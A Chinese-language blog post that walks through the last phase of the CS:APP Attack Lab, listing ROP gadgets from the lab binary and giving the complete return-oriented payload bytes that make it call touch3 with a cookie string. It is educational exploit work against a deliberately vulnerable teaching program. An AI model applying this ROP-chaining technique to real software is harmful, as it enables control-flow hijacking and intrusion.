attack lab rtarget 2
Published 8/2/2020
Views 32
这是 attack lab 最后一个,也是最难的一个问题。我们需要利用 start_farm
到 end_farm
之间的函数带一个字符串参数调用 touch3
函数。
还是同样,先利用 python 分析这些函数中有哪些可利用的 gadgets。通过去重,我得到下面的 gadgets:
0x4019a2: 48 89 c7 c3
movq %rax, %rdi
0x401aad: 48 89 e0 90
movq %rsp, %rax
0x4019ab: 58 90
popq %rax
0x401a13: 89 ce 90 90
movl %ecx, %esi
0x401a34: 89 d1 38 c9
movl %edx, %ecx
0x401a3c: 89 e0 c3
movl %esp, %eax
0x401a42: 89 c2 84 c0
movl %eax, %edx
0x4019dc: 5c 89 c2 90
popq %rsp
movl %eax, %edx
由于只有 pop
语句有赋值的效果,其他 mov
语句只能拷贝,因此我们可以得到这样一张图:
我们可以将 rsp
的值,或是任何常数数字按照图上的关系传递。
考虑最终调用 touch3
,需要传一个指向字符串的指针,我们肯定要先保存 rsp
,再将其加上某个偏移量,使得其指向栈空间内由于溢出保存的字符串,并将其赋值给 rdi
再调用 touch3
。但从图中我们似乎没找到“加上偏移量”这个操作。这里我卡了一会儿才发现其实这个操作可以直接由 add_xy
得到。
因此,我们这样完成这个操作:
- 保存
rsp
到rdi
。 - 保存偏移量(从上一步的
rsp
到最终的字符串位置差)到esi
。 - 将结果从
rax
转移到rdi
。 - 跳转到
touch3
。
就可以了。栈布局就不画了,给出最后的输入:
00 00 00 00 00 00 00 00 /* paddings */
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
ad 1a 40 00 00 00 00 00 /* -> movq %rsp, %rax */
a2 19 40 00 00 00 00 00 /* -> movq %rax, %rdi, rdi=x */ /* addr x */
ab 19 40 00 00 00 00 00 /* -> popq %rax */
48 00 00 00 00 00 00 00 /* -> offset = 0x48 = rax */
42 1a 40 00 00 00 00 00 /* -> movl %eax, %edx */
34 1a 40 00 00 00 00 00 /* -> movl %edx, %ecx */
13 1a 40 00 00 00 00 00 /* -> movl %ecx, %esi, esi = offset */
d6 19 40 00 00 00 00 00 /* -> add_xy, make rax = x + offset */
a2 19 40 00 00 00 00 00 /* -> movq %rax, %rdi, rdi = x + offset = string */
fa 18 40 00 00 00 00 00 /* => call touch3! */
35 39 62 39 39 37 66 61 /* cookie goes here! */ /* addr y, offset=y-x */
00 00 00 00 00 00 00 00 /* make extra padding */
本作品采用 知识共享 署名-非商业性使用-禁止演绎 4.0 国际许可协议 进行许可
0 comments